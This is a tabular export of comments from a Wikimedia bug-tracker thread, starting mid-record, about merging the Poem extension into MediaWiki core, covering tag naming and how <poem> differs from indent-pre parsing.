+[4] - https://fr.wikisource.org/w/index.php?title=MediaWiki:Common.css (classe prose : PERIMÉE, utiliser text )
+
+[[:m:User:555]]",,,1392048878,,PHID-USER-gu24fgh5wu7isjb4g5b7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1
+237391,Merge Poem extension into MediaWiki core,"(In reply to comment #31)
+> 1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely
+> publicize the new <lines> name before it gets committed.  
+> A mailing list thread might be a good way to
+> kick off this discussion.
+
+I'll post one.
+
+> 2) In the comments on the patch, '----' was brought up as the last remaining
+> way that the current <lines> implementation differs from 'indent-pre'
+> handling.
+>  I'd like to resolve this discrepancy: I really really *really* don't want to
+> complicate the parser more with Yet Another Slightly Different Way to handle
+> preformatted content.
+
+Let me expand a bit here: <poem> is designed for the treatment of poetry. I don't know what indent-pre was designed for, but one assumes it was intended for general-purpose, preformatted text, such as command line outputs and plain-text tables. The two use-cases are somewhat different.
+
+I went through and found the following differences. There are probably many others.
+
+* For some reason, indent-pre doesn't handle ----. Presumably this is so
+  preformatted tables, etc (e.g. those copied out of the MySQL monitor)
+  still appear correctly. This consideration is not relevant for <poem> and
+  so ---- is parsed inside these tags. Indeed, ---- within <poem> is quite
+  common at Wikisource.
+
+* Indents using : are ignored within indent-pre (presumably because they
+  don't make a whole lot of sense in a preformatted context). In <poem>,
+  indents are handled specially (using a fixed-width <span> to give 1em
+  indentation per : character), and line-initial spaces are transformed
+  to &nbsp;, to cope with the special formatting of some poetry.
+
+* Wikitext {| |} tables are available within <poem>, whereas indent-pre is
+  aborted as soon as a table is found.
+
+* Indent-pre formatting is aborted whenever a block-level tag is
+  encountered on the line. Block-level formatting is, however, available
+  inside <poem> (although this is only useful for stuff like <table>, since
+  the appearance of tags like <p> is affected quite badly by the <pre>
+  environment).
+
+* Indent-pre is not available inside <blockquote>, for unclear reasons.
+  <poem> works fine inside <blockquote>, just as anywhere else.
+
+* <poem> allows the application of a custom class/ID/style. The use of a
+  tag also allows extra attributes to be used - I have a patch in the works
+  that adds line numbering support to <poem>, which makes use of several
+  additional tag attributes (see bug 13644).
+
+I don't think it is correct to speak of ""resolving"" these discrepancies. As you can see, most of them seem to exist for a reason, and most involve idiosyncrasies in the existing indent-pre behaviour, any changes to which would disrupt existing wikitext.
+
+(Note, when I talk about <poem> above, I'm talking about the new implementation in Gerrit. The old extension sometimes does things differently.)
+
+> 3) I'd also like to review the code coverage issues a little more, to ensure
+> that we're sharing code (and CSS rules) to the maximum extent possible.
+
+I think this is up to you, Scott, and others in the know.",,,1391835029,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,31,,1,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+237385,Merge Poem extension into MediaWiki core,"(In reply to comment #31)
+> 1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely
+> publicize the new <lines> name before it gets committed.  We almost
+> inadvertently introduced a conflict with <verbatim>, I'd like some greater
+> certainty that the new <lines> name proposal has been seen by a larger number
+> of editors/extension authors.  A mailing list thread might be a good way to
+> kick off this discussion.
+
+Will a post to wikitech-l suffice? Or is more needed in your opinion? I can probably handle the communication portion of this, just please be explicit with what you would consider sufficient.
+
+> 2) In the comments on the patch, '----' was brought up as the last remaining
+> way that the current <lines> implementation differs from 'indent-pre'
+> handling.
+
+Okay, I figured out what you mean here. At [[testwiki:Bug 52061#Indent-Pre (""Preceding space"")]] a ""----"", the wikitext equivalent of a horizontal rule (<hr>), is not current expanded when there's a leading space.
+
+In my opinion, this behavior (preceding space + unexpanded horizontal rule) is a separate issue that should be filed as a separate bug report (if one doesn't exist already) and is not a blocker to merging Gerrit change 106861. If you feel differently, can you please elaborate? (Also, can you please search for a relevant bug report and/or file one?)
+
+> 3) I'd also like to review the code coverage issues a little more, to ensure
+> that we're sharing code (and CSS rules) to the maximum extent possible.  This
+> is to ensure that point #2 continues to hold in the future, and we don't
+> accidentally introduce subtle incompatibilities by changing only one side of
+> a code path.
+
+Sure, code review is ongoing at Gerrit change 106861. If you have additional suggestions for technical changes, feel free to leave them on Gerrit. :-)",,,1391830615,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,31,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+237380,Merge Poem extension into MediaWiki core,"Instead of finding similarities between poem and indent-pre, which is moot since the indentation already breaks all markup that depends on being on the first column of the line, we may look at similarities between poem and normal wikitext.
+
+It's practically the same. The only difference is that poem treats newlines as <br/>, while normal text simply ignore newlines or convert them into paragraphs when there's a combination of newlines.",,,1390939202,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,30,,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,1
+237375,Merge Poem extension into MediaWiki core,"(In reply to comment #31)
+> I'd like to resolve this discrepancy: I really really *really* don't want to
+> complicate the parser more with Yet Another Slightly Different Way to handle
+> preformatted content.
+
+There's nothing really new here :) We're just sending a <pre> tag to the parser, after all. The change to the parser itself is minuscule, and arguably it is a fix for a long-standing bug that was never exposed until now.
+
+(In reply to comment #33)
+> (07:34:41 PM) subbu: so, we were wrong .. <poem> is not indent-pre with
+> classes then.
+
+I'm glad you're aware of this! As I said in Gerrit, the similarities are purely coincidental.",,,1390875527,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,30,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+237370,Merge Poem extension into MediaWiki core,"From chat:
+
+(07:32:52 PM) subbu: i just checked the updated wiki page .. and  <hr> and colon-indents seem different in <poem> vs. indent-pre .. probably all wikitext elements that occur in SOL position but are strict about not having any leading ws.
+(07:33:16 PM) cscott-free: how many of those are there?
+(07:33:36 PM) subbu: i suppose <poem> just calls regular parse on embedded content and then wraps it in wrapper with the right css classes
+(07:33:43 PM) subbu: tables are fine with leading space.
+(07:34:05 PM) subbu: headings, lists, hr dont work if there is leading WS, iirc.
+(07:34:41 PM) subbu: so, we were wrong .. <poem> is not indent-pre with classes then.
+(07:35:10 PM) cscott-free: but should it be?  i don't like the idea of adding a bunch of new special cases to the parser.
+(07:35:48 PM) subbu: cscott, it cannot be without breaking <poem> behavior OR breaking existing pages that have leading space before :*;#=- chars
+(07:35:59 PM) cscott-free: if we can at least parameterize it, such that indent-pre has SOL markers turned off, and <poem> has SOL markers turned on, that would make me happier.
+(07:36:14 PM) cscott-free: rather than poem just being gratuitously different in random ways.
+(07:36:24 PM) subbu: ya, you are talking of refactoring code in the parser.
+(07:36:30 PM) subbu: and reusing it.
+(07:36:56 PM) cscott-free: subbu: i'm certainly talking about reusing more parser code, rather than implementing <poem> as a brand new crazy thing.
+(07:37:25 PM) cscott-free: i'm tired of having weird corner cases everywhere.
+(07:37:50 PM) cscott-free: there should be some principled way we can describe how indent-pre and <poem> are similar.
+(07:37:57 PM) subbu: maybe spend some time, how <poem>/<lines> would fit in parsoid land and that can inform the discussion of how the core code can be restructured .. but refactoring/restructure that seems like a lot of work as well.
+(07:38:33 PM) cscott-free: in a nutshell that's why i don't want <poem> merged too quickly.  i'd like to understand better how it all fits in.
+(07:38:53 PM) cscott-free: and probably to do some dumpGrepping to figure out how much we can change indent-pre and/or <poem> without breaking too much stuff.",,,1390869777,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,30,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+237366,Merge Poem extension into MediaWiki core,I added a few more test cases to [[testwiki:bug 52061]] -- leading colons are also parsed differently inside <poem>.,,,1390847758,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,30,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+237363,Merge Poem extension into MediaWiki core,"I think I just saved this patch from a premature +2.
+
+I'd like to summarize what still needs to be done here:
+
+1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely publicize the new <lines> name before it gets committed.  We almost inadvertently introduced a conflict with <verbatim>, I'd like some greater certainty that the new <lines> name proposal has been seen by a larger number of editors/extension authors.  A mailing list thread might be a good way to kick off this discussion.
+
+2) In the comments on the patch, '----' was brought up as the last remaining way that the current <lines> implementation differs from 'indent-pre' handling.  I'd like to resolve this discrepancy: I really really *really* don't want to complicate the parser more with Yet Another Slightly Different Way to handle preformatted content.
+
+3) I'd also like to review the code coverage issues a little more, to ensure that we're sharing code (and CSS rules) to the maximum extent possible.  This is to ensure that point #2 continues to hold in the future, and we don't accidentally introduce subtle incompatibilities by changing only one side of a code path.
+
+Does anyone else have any remaining issues they'd like to see resolved before this is merged?",,,1390846375,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,30,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237357,Merge Poem extension into MediaWiki core,"Regarding my use of ""indent-pre"" above -- I'm looking at this mostly from the perspective of parser maintenance.  As [[testwiki:bug 52061]] demonstrates, the desired behavior of <poem>/<lines> is the same as the existing behavior of 'indent-pre', although the implementation in the original patch was very different.  I would like to try to avoid adding a bunch of new hair (and crazy interactions) with the new feature, and instead try to reuse the existing indent-pre handling code so that all the corner cases were consistent.
+
+In fact, assuming this gets merged, it might be cleaner in the future to document the ""indent pre"" behavior as ""an implicit <lines> surrounding the indented region"".  This would reduce confusion because ""indent pre"" and ""<pre>"" are actually quite different in their handling of embedded wikitext, etc.
+
+I like the name <lines>, btw.",,,1390666581,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,1,0,1,0,0,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+237352,Merge Poem extension into MediaWiki core,"lines sounds good, or <preservelines>
+
+That said, maybe it would be more user friendly to use a mediawiki.org page to discuss the tag name, so ideas can be better exposed and have more opinions (remember one have to explicitly register an account here to post a comment).
+
+About <poem> itself, I don't know why is a different name really needed. What are other use cases for this? I've just only used it for poem and lyrics (which is basically the same).",,,1390653738,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,0,1,0,1
+237347,Merge Poem extension into MediaWiki core,"I like <lines>, the name puts the focus on the individual ""lines"" of the content, which is also what the tag is doing. Nice lateral thinking, Michael :)",,,1390648436,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+237341,Merge Poem extension into MediaWiki core,"(In reply to comment #22)
+> (In reply to comment #16)
+> > <verbatim> is a misleading name since it still parses wikitext in its
+> > content.
+> > It is only verbatim for text-content. 
+> 
+> I do see what you mean here. The problem is, we have so far been unable to
+> come
+> up with a better name! <poem> is inappropriate as too specific/narrow.
+> 
+
+What about <lines>? The tag just just preserves the lines in its content, and it seems generic enough for what is used.",,,1390646698,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,0,1
+237335,Merge Poem extension into MediaWiki core,"(In reply to comment #25)
+> Since this is going to be merged into core/php-parser, presumably, you
+> control
+> this behavior and where in the parser pipeline the outer wrapping <pre> tag
+> is
+> generated? I haven't looked at the parser changes to answer that or how easy
+> this is since I haven't really hacked the php parser. Maybe Scott can answer
+> that more readily. 
+
+I think I've got this part sorted.",,,1390611047,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1
+237328,Merge Poem extension into MediaWiki core,"That is right reg. CSS.
+
+Since this is going to be merged into core/php-parser, presumably, you control this behavior and where in the parser pipeline the outer wrapping <pre> tag is generated? I haven't looked at the parser changes to answer that or how easy this is since I haven't really hacked the php parser. Maybe Scott can answer that more readily. 
+
+At least with Parsoid, that is what we will consider outputting for this new tag unless VE folks find a <div> tag simpler than a marked up <pre> tag (seems unlikely).",,,1390609860,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+237320,Merge Poem extension into MediaWiki core,"What you are saying makes sense. Presumably the CSS for .poem would have to ""neutralise"" the monospace/gray formatting normally applied to pre tags.
+
+My main question is, if we output a <pre> tag from the tag hook, will wikitext inside that tag still get parsed, as it should be?",,,1390609332,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1
+237313,Merge Poem extension into MediaWiki core,"(In reply to comment #22)
+
+> (In reply to comment #20)
+> > IMO the <poem> tag should be rendered as <pre
+> > class=""poem""> and it has exactly the behavior of indent-pre (with an extra
+> > HTML
+> > class and without the necessity to write the leading indentation).
+> 
+> A few questions about this statement:
+> 
+> * The gray box/monospaced font of <pre>/indent-pre would have to be removed
+> for
+>   <poem> blocks.
+> * What are the existing differences between <poem> and indent-pre?
+> * <pre> does not render identically to indent-pre, so could you explain how
+>   rendering poems using <pre class=""poem""> would help?
+
+We weren't very clear about what we were discussing there. 
+
+What Scott meant is that the patch should generate <pre class=""poem""> .. </pre> for the HTML of the <verbatim>..</verbatim> (or <pre-text> or whatever tag name is picked) instead of generating <div class=""poem"">..</div>. It is cleaner and the ouput is semantically closer to the intention of the <verbatim> tag.",,,1390608896,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237307,Merge Poem extension into MediaWiki core,"(In reply to comment #16)
+> <verbatim> is a misleading name since it still parses wikitext in its
+> content.
+> It is only verbatim for text-content. 
+
+I do see what you mean here. The problem is, we have so far been unable to come up with a better name! <poem> is inappropriate as too specific/narrow.
+
+> Is there another way of achieving this
+> without adding a new tag?
+
+The <poem> tag is already in wide use. I don't see the problem with adding a tag for this functionality.
+
+(In reply to comment #20)
+> IMO the <poem> tag should be rendered as <pre
+> class=""poem""> and it has exactly the behavior of indent-pre (with an extra
+> HTML
+> class and without the necessity to write the leading indentation).
+
+A few questions about this statement:
+
+* The gray box/monospaced font of <pre>/indent-pre would have to be removed for
+  <poem> blocks.
+* What are the existing differences between <poem> and indent-pre?
+* <pre> does not render identically to indent-pre, so could you explain how
+  rendering poems using <pre class=""poem""> would help?",,,1390608255,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237300,Merge Poem extension into MediaWiki core,"I agree reg. output being <pre class='poem'> .. </pre>
+
+However, maybe make it possible for the editor to provide a css-class rather than hardcode class=""poem"" into the tag?
+
+For standard <poem> content,
+<pre-text>
+... 
+</pre-text>
+
+And for other uses,
+<pre-text class=""fancy-css"">
+...
+</pre-text>",,,1390589947,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+237296,Merge Poem extension into MediaWiki core,"I further updated [[testwiki:bug 52061]] to show the difference between <poem> and <pre class=""poem"">.  IMO the <poem> tag should be rendered as <pre class=""poem""> and it has exactly the behavior of indent-pre (with an extra HTML class and without the necessity to write the leading indentation).",,,1390588717,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+237293,Merge Poem extension into MediaWiki core,"(In reply to comment #17)
+> I don't know what you mean by indent-pre.
+
+Subbu clarified that this means the preceding space trick. I updated [[testwiki:bug 52061]].",,,1390587244,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+237291,Merge Poem extension into MediaWiki core,"Please, don't use <verbatim>!!. It's already been in use by a Wikia extension [1]
+
+----
+
+[1] http://community.wikia.com/wiki/Help:Verbatim_tags",,,1390587154,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+237289,Merge Poem extension into MediaWiki core,"(In reply to comment #16)
+> From what I can tell, looking at output, this is ""indent-pre"" - ""indent"" +
+> CSS-class. Given that indent-pre provides all the formatting functionality, I
+> presume the missing ability of adding CSS-classes onto indent-pre is the
+> primary reason for this new tag? Is there another way of achieving this
+> without adding a new tag?
+
+I don't know what you mean by indent-pre.
+
+I created a test page at [[testwiki:bug 52061]] to demonstrate the poem tag's functionality.",,,1390586895,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+237286,Merge Poem extension into MediaWiki core,"<verbatim> is a misleading name since it still parses wikitext in its content. It is only verbatim for text-content. 
+
+From what I can tell, looking at output, this is ""indent-pre"" - ""indent"" + CSS-class. Given that indent-pre provides all the formatting functionality, I presume the missing ability of adding CSS-classes onto indent-pre is the primary reason for this new tag? Is there another way of achieving this without adding a new tag?",,,1390586336,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1
+237282,Merge Poem extension into MediaWiki core,"(In reply to comment #10)
+> Regarding the tag name, is <poem> ever actually used for things besides
+> poems?
+
+I looked at some examples in de.wikipedia. Apart from poems and poem-like texts (prayers etc.) there are things like inscriptions and dialogs, which use <poem>. And of course, as it is a wiki, some stupid things like quotes even without any line break in them.",,,1389605473,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,28,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,1
+237279,Merge Poem extension into MediaWiki core,"Sure, let's go with verbatim.
+
+Siebrand also noted on Gerrit change 106861 that if/when this gets merged, we'll need to migrate the Poem extension bugs to core.",,,1389459951,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+237275,Merge Poem extension into MediaWiki core,I'd also prefer <verbatim> as the name.,,,1389446044,,PHID-USER-3qsavo6roa5h32xcsgng,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1
+237266,Merge Poem extension into MediaWiki core,I'm wondering if people would prefer <verbatim> as the name of this tag?,,,1389432065,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1
+237257,Merge Poem extension into MediaWiki core,"Change 106861 had a related patch set uploaded by TTO:
+Merge Poem extension into core
+
+https://gerrit.wikimedia.org/r/106861",,,1389413873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237248,Merge Poem extension into MediaWiki core,"The compact feature has always seemed quite buggy (or at least bizarrely unintuitive) and I wonder if we would really hurt much by killing it altogether.
+
